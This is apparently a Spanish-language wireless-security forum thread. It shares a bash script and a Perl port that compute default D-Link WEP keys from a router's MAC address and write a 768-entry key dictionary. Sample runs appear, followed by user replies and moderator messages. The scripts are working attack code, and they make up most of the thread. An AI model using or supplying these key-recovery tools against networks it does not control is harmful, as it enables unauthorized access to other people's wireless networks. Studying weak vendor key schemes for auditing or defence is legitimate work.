Seguridad Wireless - Wifi
Sistemas operativos => Zona GNU/Linux => Aplicaciones y diccionarios linux => Mensaje iniciado por: *dudux en 11-12-2008, 21:52 (Jueves)
-
Autor: Pianista y hodgar
#!/bin/bash
P1=`echo $1|cut -d : -f 1`
P2=`echo $1|cut -d : -f 2`
P3=`echo $1|cut -d : -f 3`
P4=`echo $1|cut -d : -f 4`
P5=`echo $1|cut -d : -f 5`
P6=`echo $1|cut -d : -f 6`
P61=`echo $P6 | cut -c1-1`
P62=`echo $P6 | cut -c2-2`
S1=$P61
if [ $P62 = "F" ]; then
S2="E"
fi
if [ $P62 = "E" ]; then
S2="D"
fi
if [ $P62 = "D" ]; then
S2="C"
fi
if [ $P62 = "C" ] ; then
S2="B"
fi
if [ $P62 = "B" ]; then
S2="A"
fi
if [ $P62 = "A" ]; then
S2="9"
fi
if [ $P62 = "9" ]; then
S2="8"
fi
if [ $P62 = "8" ]; then
S2="7"
fi
if [ $P62 = "7" ]; then
S2="6"
fi
if [ $P62 = "6" ]; then
S2="5"
fi
if [ $P62 = "5" ]; then
S2="4"
fi
if [ $P62 = "4" ]; then
S2="3"
fi
if [ $P62 = "3" ]; then
S2="2"
fi
if [ $P62 = "2" ]; then
S2="1"
fi
if [ $P62 = "1" ]; then
S2="0"
fi
if [ $P62 = "0" ]; then
S2="F"
if [ $P61 = "F" ]; then
S1="E"
fi
if [ $P61 = "E" ]; then
S1="D"
fi
if [ $P61 = "D" ]; then
S1="C"
fi
if [ $P61 = "C" ]; then
S1="B"
fi
if [ $P61 = "B" ]; then
S1="A"
fi
if [ $P61 = "A" ]; then
S1="9"
fi
if [ $P61 = "9" ]; then
S1="8"
fi
if [ $P61 = "8" ]; then
S1="7"
fi
if [ $P61 = "7" ]; then
S1="6"
fi
if [ $P61 = "6" ]; then
S1="5"
fi
if [ $P61 = "5" ]; then
S1="4"
fi
if [ $P61 = "4" ]; then
S1="3"
fi
if [ $P61 = "3" ]; then
S1="2"
fi
if [ $P61 = "2" ]; then
S1="1"
fi
if [ $P61 = "1" ]; then
S1="0"
fi
if [ $P61 = "0" ]; then
S1="0"
S2="0"
fi
fi
echo "Wep key default DLink"
echo " Opción 1: "$P6$P1$P5$P2$P3$P4$P6$P5$P2$P3$P4$P1$P3
echo " Opción 2: "$S1$S2$P1$P5$P2$P3$P4$P6$P5$P2$P3$P4$P1$P3
echo " Opción 3: "$S1$S2$P1$P5$P2$P3$P4$S1$S2$P5$P2$P3$P4$P1$P3
for f in 0 1 2 3 4 5 6 7 8 9 A B C D E F
do
for t in 0 1 2 3 4 5 6 7 8 9 A B C D E F
do
echo $P6$P1$P5$P2$P3$P4$P6$P5$P2$P3$P4$P1$f$t >> /root/diccionariodlink
echo $S1$S2$P1$P5$P2$P3$P4$P6$P5$P2$P3$P4$P1$f$t >> /root/diccionariodlink
echo $S1$S2$P1$P5$P2$P3$P4$S1$S2$P5$P2$P3$P4$P1$f$t >> /root/diccionariodlink
done
done
Uso
dlinkdecrypter.sh 00:19:5B:44:37:87
root@debian trastero # ./dlink.sh 00:19:5a:33:55:66
Wep key default DLink
Opción 1: 660055195a336655195a33005a
Opción 2: 650055195a336655195a33005a
Opción 3: 650055195a336555195a33005a
root@debian trastero #
-
Lo pasaré a perl o a C en cuanto pueda.
Un saludo! ;)
creo que no hace fallta.......
-
funciona bien? alguien lo ha probado?
Un saludo!
-
Funciona bien
-
una chincheta no le vendria mal
-
una chincheta no le vendria mal
echo :)
-
funciona en ubuntu 8.10 >:(
-
funciona en ubuntu 8.10 >:(
me suena que alguien ya lo uso :P
http://tubalmartin.googlecode.com/svn/trunk/html/EWFInet.html#
-
funciona en ubuntu 8.10 >:(
me suena que alguien ya lo uso :P
http://tubalmartin.googlecode.com/svn/trunk/html/EWFInet.html#
Si es que todo son facilidades :D
-
Hola muy buenas,
Hace unos días porte esta herramienta a PERL para que quedaría un poco más limpio, puede que tenga algunos fallos, cualquier cosa que vean me dicen y lo arreglo:
#!/usr/bin/perl -w
# dlinkdecrypter.pl v0.1
# written by ka0x <ka0x01[alt+64]gmail.com>
# www.domlabs.org
# Basado en el script en bash realizado por hrodgar y Pianista de seguridadwireless.net
# http://www.domlabs.org/files/codes/dlinkdecrypter.sh
my $mac = uc($ARGV[0]);
my $file = $ARGV[1];
die &usage unless $ARGV[1];
sub usage {
print "\n\t","-=-" x 7,"\n";
print "\t DLinkDecrypter.pl\n";
print "\t written by ka0x\n";
print "\t","-=-" x 7,"\n\n";
print "[*] usage: perl $0 <BSSID> <output file>\n";
print "[*] ex: perl $0 00:19:5B:44:37:87 keys_dlink.txt\n\n";
exit 1;
}
if(length($mac) != 17){
die "[-] Longitud de MAC Incorrecta\n" ;
}
my @macb = split(/\:/,$mac) ;
my $p_byte = substr($macb[5],0,1);
my $f_byte = substr($macb[5],1,1);
my $s1 = $p_byte ;
my $s2 = chr(ord( $f_byte )-1);
if($f_byte eq 0){
$s2 = 'F';
$s1 = chr(ord( $p_byte )-1);
$s1 = 9 if($p_byte eq "A");
if($p_byte eq 0){
$s1 = 0;
$s2 = 0;
}
}
$s2 = 9 if($f_byte eq "A");
print "- Wep key default DLink\n";
print "\n\tOpcion 1: ".$macb[5].$macb[0].$macb[4].$macb[1].$macb[2].$macb[3].$macb[5].$macb[4].$macb[1].$macb[2].$macb[3].$macb[0].$macb[2],"\n";
print "\tOpcion 2: ".$s1.$s2.$macb[0].$macb[4].$macb[1].$macb[2].$macb[3].$macb[5].$macb[4].$macb[1].$macb[2].$macb[3].$macb[0].$macb[2],"\n";
print "\tOpcion 3: ".$s1.$s2.$macb[0].$macb[4].$macb[1].$macb[2].$macb[3].$s1.$s2.$macb[4].$macb[1].$macb[2].$macb[3].$macb[0].$macb[2],"\n";
die "\n[-] El archivo '$file' ya existe.\n" if(-e $file);
open(KEYS, ">>$file") || die $!,"\n";
foreach $f(0..9,A..F){
foreach $t(0..9,A..F){
print KEYS $macb[5].$macb[0].$macb[4].$macb[1].$macb[2].$macb[3].$macb[5].$macb[4].$macb[1].$macb[2].$macb[3].$macb[0].$f.$t,"\n";
print KEYS $s1.$s2.$macb[0].$macb[4].$macb[1].$macb[2].$macb[3].$macb[5].$macb[4].$macb[1].$macb[2].$macb[3].$macb[0].$f.$t,"\n";
print KEYS $s1.$s2.$macb[0].$macb[4].$macb[1].$macb[2].$macb[3].$s1.$s2.$macb[4].$macb[1].$macb[2].$macb[3].$macb[0].$f.$t,"\n";
}
}
close(KEYS);
print "\n[+] Archivo de claves '$file', generado.\n";
__END__
ka0x@domlabs:~$ perl dlinkdecrypter.pl 00:19:5a:33:55:EA keys.txt
- Wep key default DLink
Opcion 1: EA0055195A33EA55195A33005A
Opcion 2: E90055195A33EA55195A33005A
Opcion 3: E90055195A33E955195A33005A
- Archivo de claves 'keys.txt', generado.
ka0x@domlabs:~$ cat keys.txt | wc -l
768
ka0x@domlabs:~$
-
no hacia falta pasarlo pero bueno.........no esta mal
gracias ......lo subire los scripts a wifiway.org y a fileden
-
hola, debe molar el programa pero se echa en falta un tutorial para torpes o algo asi,
no se ni por donde pillarlo...
-
Buenas:
Que yo recuerde ya te viene de serie en Wifislax/Wifiway
Un saludo
ChimoC
-
ya, pero es para instalarlo en ubuntu
-
hola, podeis subir el script ya hecho? no cuesta nada hombre!
graciass
-
hola, podeis subir el script ya hecho? no cuesta nada hombre!
graciass
pq no llo haces tu?
-
hola que tal eh leido pero no se como puedo descargarme el programa y como puedo utilisarlo muchas gracias ---=)
-
Este programa es sólo para Linux, así que asegurate de que tienes linux a parte de windows, si no no funciona
-
no tengo linux me podrias decir donde puedo descargarmelo y teniendo linux como usarlo por favor
Post Merge: 24-03-2011, 19:57 (Jueves)
soy novato porfa espero que me puedan ayudar gracias
-
no tengo linux me podrias decir donde puedo descargarmelo y teniendo linux como usarlo por favor
Post Merge: [time]jue 24 mar 2011 19:57:40 GMT-1[/time]
soy novato porfa espero que me puedan ayudar gracias
Al final me vas a obligar a decirte algo parecido a lo que te ha dicho pazienzia (https://foro.seguridadwireless.net/aplicaciones/jazzteldecrypter-para-windows/msg193730/#msg193730).
Esto no es un servicio personalizado de ayuda pasito a pasito. No se puede hacer un manual personalizado para cada uno que llega nuevo.
Si no sabes descargar este programa, es porque este programa no es para ti.
Busca wifiway 2.0.2 eso es una distribución Linux. O búscate la vida en google como hace todo el mundo para encontrar y descargar una distribución linux y luego como estás muy verde sigue leyendo y leyendo y leyendo durante días o semanas si es necesario antes de preguntar como se instala, porque está todo por ahí en internet.
Esto no te vendría mal: http://www.sindominio.net/ayuda/preguntas-inteligentes.html
http://www.sindominio.net/ayuda/preguntas-inteligentes.html#CLASSIC
-
bueno muchas gracias de todas maneras por su respuesta voy a seguir indagando
-
Buenas:
@martinn19: Ya te había dado un aviso..ahora te banearé parcialmente una temporadita para que leas
ChimoC